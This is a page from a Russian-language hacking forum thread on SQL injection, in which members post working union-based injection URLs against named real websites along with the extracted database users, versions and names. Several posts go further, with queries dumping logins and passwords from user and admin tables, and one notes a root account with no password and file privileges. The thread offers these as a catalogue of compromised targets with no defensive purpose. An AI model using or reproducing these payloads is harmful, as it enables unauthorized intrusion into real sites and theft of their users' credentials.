SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. z00MAN

    z00MAN Banned

    Joined:
    20 Nov 2008
    Messages:
    360
    Likes Received:
    276
    Reputations:
    41
    Code:
    http://www.slsensor.com/stat.php?id=99999+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),version(),database()),7,8--
    web48@localhost:5.0.32-Debian_7etch8-log:usr_web48_1


    Code:
    http://www.lovato.ru/publications.php?id=-5+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6--
    [email protected]:5.1.30-community:lovato
     
    #10621 z00MAN, 13 Sep 2009
    Last edited: 13 Sep 2009
    5 people like this.
  2. Dyxxx

    Dyxxx Elder - Старейшина

    Joined:
    16 Feb 2009
    Messages:
    107
    Likes Received:
    155
    Reputations:
    24
    tcmpro.us
    Association for the promotion of Chinese medicine. Это сопсно все что там есть на англицком, Китайцы детектед ))
    Code:
    [SIZE=2]http://tcmpro.us/more_news.php?articles_id=null+union+all+select+null,null,null,concat_ws(0x2f,0x3C7363726970743E616C6572742827,version(),user(),database(),0x27293C2F7363726970743E),null+--+
    http://tcmpro.us/more_news.php?articles_id=null+union+all+select+null,null,null,concat_ws(0x20,admin_email_address,admin_password),null+FROM+admin+LimiT+0,1+--+[/SIZE]
    4.0.17/[email protected]/binwang_tcm
    [email protected]
     
    #10622 Dyxxx, 13 Sep 2009
    Last edited by a moderator: 13 Sep 2009
  3. Gedj

    Gedj Elder - Старейшина

    Joined:
    15 Sep 2008
    Messages:
    85
    Likes Received:
    30
    Reputations:
    2
    Code:
    http://www.kavkazsport.com/?do=view_sportsman_info_cat_global&id=-184+union+select+concat(password,0x3a,login),2+from+users--
     
    1 person likes this.
  4. DFrost

    DFrost Member

    Joined:
    5 Jun 2009
    Messages:
    18
    Likes Received:
    23
    Reputations:
    0
    баннеры www.kharkov.ua, у которого тИЦ:8900.
    качаем файлик и смотрим содержимое
     
    #10624 DFrost, 14 Sep 2009
    Last edited: 14 Sep 2009
    2 people like this.
  5. Shadrin

    Shadrin Elder - Старейшина

    Joined:
    20 Aug 2008
    Messages:
    263
    Likes Received:
    109
    Reputations:
    18
    pr5
    [email protected] : madzari : 5.0.83-log
    Code:
    http://www.tumbamadzari.org.mk/en/gallery.php?id=-6+UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7,8,9--
     
    2 people like this.
  6. Dyxxx

    Dyxxx Elder - Старейшина

    Joined:
    16 Feb 2009
    Messages:
    107
    Likes Received:
    155
    Reputations:
    24
    j-source.ca pr5
    The Canadian Journalism Project.
    Code:
    http://www.j-source.ca/english_new/category.php?catid=243+and+substring(version(),1,1)=5
    5.0.81
    вывода не добился
     
    2 people like this.
  7. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    ЮНИО-Р: Отдых с пользой для ума - детский отдых за границей (Кранево, Болгария, побережье Черного Моря)

    junio-r.ru

    URL:
    Code:
    http://www.junio-r.ru/settings/
    POST:
    Code:
    smid=%27%2Cinterests%3Dconcat_ws%280x3a%2Cuser%28%29%2Cdatabase%28%29%2Cversion%28%29%29%2F%2A&snick=&surl=&sicq=&sbirth_d=1&sbirth_m=1&sbirth_y=1930&ssex=u&scity=&sinterests=
    RESULT:
    Code:
    junio-r@localhost:junio-r:4.1.16
     
    3 people like this.
  8. [x60]unu

    [x60]unu Banned

    Joined:
    7 May 2009
    Messages:
    98
    Likes Received:
    498
    Reputations:
    163
    http://www.lakewoodathens.com/page/about03-a.php?id=1/**/anD/**/1=7/**/uniON/**/seLEcT/**/1,2,3,4,version(),user(),7,8,9,database(),1,2,3,4/*
    version - 4.1.25-Debian_mt1
     
    5 people like this.
  9. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    90
    Likes Received:
    116
    Reputations:
    14
    Code:
    http://www.respiromed.hu/?page=category&mc=-2+union+select+1,2,unhex(hex(user())),4,5--
    Database Version: 4.1.11-pro-gpl
    Database name: respiromedhu
    User name: [email protected]

    Code:
    http://www.respiromed.hu/?page=category&mc=-2+union+select+1,2,3,4,5+from+login--
    PR 2
    Code:
    http://www.boutiques-de-gestion.com/bg/acc.php?id=-1+union+select+concat_ws(0x3a,user(),version(),database())--
    bdgcom@localhost:5.0.44-log:bdgcom

    результат смотреть через код страници

    PR 6
     
    #10629 ..::TROYAN::.., 14 Sep 2009
    Last edited: 14 Sep 2009
    3 people like this.
  10. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    http://stjohnbrebeuf.com/page.php?id=-21+union+select+1,2,3,4,5,6,7,group_concattable_name),9,10,11,12,13,14,15,16,17,18,19+from+information_schema.tables+--+

    http://www.ronfeuler.nl/htm/page.php?id=-355+union+select+1,table_name,3,4,5,6,7,8,9,10,11,12,13,14+from+information_schema.tables+--+

    http://auto-kran.ru/podrobno.php?id=-28+union+select+1,2,3,4,table_name+from+information_schema.tables+--+

    http://dagdoska.ru/post.php?id_post=-163+union+select+1,2,group_concat(login,0x3a,password,0x3a3a,email),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+users+--+

    http://www.mirpr.ru/articles/?article_id=-38+union+select+1,2,group_concat(user_id,0x3a,user_name,0x3a,user_pass,0x3a,user_bio_status,0x3a,user_newpassword),4+from+mirpr_forum_users+--+
     
    4 people like this.
  11. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    90
    Likes Received:
    116
    Reputations:
    14
    Code:
    http://www.kriz-zivota.com/tekstovi.php?id=-1417+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42--
    kriz-zivota@localhost:5.0.51a-3ubuntu5.4:kriz_zivota
    Code:
    http://www.kriz-zivota.com/tekstovi.php?id=-1417+union+select+1,2,3,concat_ws(0x3a,nick,pass),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+korisnik--
    
    
    PR 4

    Code:
    http://www.prstan.eu/?pid=45&pid1=100000000&id=-34+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,user(),database(),version()),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35--
    
    Database Version: 5.1.32-community-log
    Database name: prstandb
    User name: prstanusr@localhost
     
    #10631 ..::TROYAN::.., 15 Sep 2009
    Last edited: 15 Sep 2009
    3 people like this.
  12. ILYAtirtir

    ILYAtirtir Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    142
    Likes Received:
    246
    Reputations:
    73
    Министерство Энергетики Российской Федерации
    Code:
    minenergo_base:[email protected]:5.0.45
     
    5 people like this.
  13. [x60]unu

    [x60]unu Banned

    Joined:
    7 May 2009
    Messages:
    98
    Likes Received:
    498
    Reputations:
    163
    http://www.flashsport.eu/public/video/a.php?id=1+uniON+seLEcT+1,version(),3,4,5,6
    version - 5.0.82sp1-log
     
    5 people like this.
  14. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    90
    Likes Received:
    116
    Reputations:
    14
    Code:
    http://www.promal.pl/podstrony/galeriapowieksz.php?id_kat=6&id=-39+union+select+1,2,3,4,5,concat_ws(0x3a,user(),database(),version()),7--
    
    daber_promal@localhost:daber_promal:5.0.81
     
    2 people like this.
  15. Dyxxx

    Dyxxx Elder - Старейшина

    Joined:
    16 Feb 2009
    Messages:
    107
    Likes Received:
    155
    Reputations:
    24
    planet-loud.compr3
    Сайт металюг =)
    Code:
    http://www.planet-loud.com/newsstory.php?news_id=null+union+all+select+1,2,3,4,concat(0x2f,version(),0x2f,user(),0x2f,database(),0x2f),6,7,8,9,10/*
    /4.0.27-max-log/[email protected]/db75296323/
     
    5 people like this.
  16. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    PostgreSQL 8.1.5 on i386-pc-solaris2.10, compiled by GCC gcc (GCC) 3.4.6:vvv:5432
     
    8 people like this.
  17. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    90
    Likes Received:
    116
    Reputations:
    14
    Code:
    http://slovco.ru/sovremslov/yu/podrobno.php?id=-536+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5--
    
    root@localhost:slovco:5.0.60-log

    PR:1
    Тиц 10

    root без пароля
    file_priv:Y
     
    4 people like this.
  18. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.snta.com/php/display.php?p=PR_SP_syndicator&s_id=-8+UNION+SELECT+1,2+FROM+SNTA_users/*

    Database Version: 4.1.20
    Database name: SNTA
    User name: SNTAUser@localhost
     
    4 people like this.
  19. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    90
    Likes Received:
    116
    Reputations:
    14
    Code:
    http://postroikadomoff.ru/base.php?id=-8+union+select+1,2,3,concat_ws(0x3a,user(),database(),version())--
    
    magazvic@localhost:magazvic_domoff:5.0.67-percona-highperf-b7-log
    Code:
    http://postroikadomoff.ru/base.php?id=-8+union+select+1,2,3,concat_ws%280x3a,unhex%28hex%28username%29%29,unhex%28hex%28password%29%29%29+from+magazvic_domoff.jos_users--
    
    http://postroikadomoff.ru/base.php?id=-8+union+select+1,2,3,concat_ws%280x3a,unhex%28hex%28Login%29%29,unhex%28hex%28cust_password%29%29%29+from+magazvic_allstroitechnika.ss_customers--
    
    http://postroikadomoff.ru/base.php?id=-8+union+select+1,2,3,concat_ws%280x3a,unhex%28hex%28user_name%29%29,unhex%28hex%28user_password%29%29%29+from+magazvic_domik.fusion_users--
    Тиц 210
     
    2 people like this.
  20. z00MAN

    z00MAN Banned

    Joined:
    20 Nov 2008
    Messages:
    360
    Likes Received:
    276
    Reputations:
    41
    Code:
    http://www.lyonshead.com/our_artists/detail.php?id=-16+union+select+1,2,concat_ws(0x3a,user(),version(),database()),4,5,6,7,8,9,10--
    lyonshead@localhost:5.0.22:lyonshead_com_-_lyonshead 2
     
    #10640 z00MAN, 16 Sep 2009
    Last edited by a moderator: 16 Sep 2009
    6 people like this.
Thread Status:
Not open for further replies.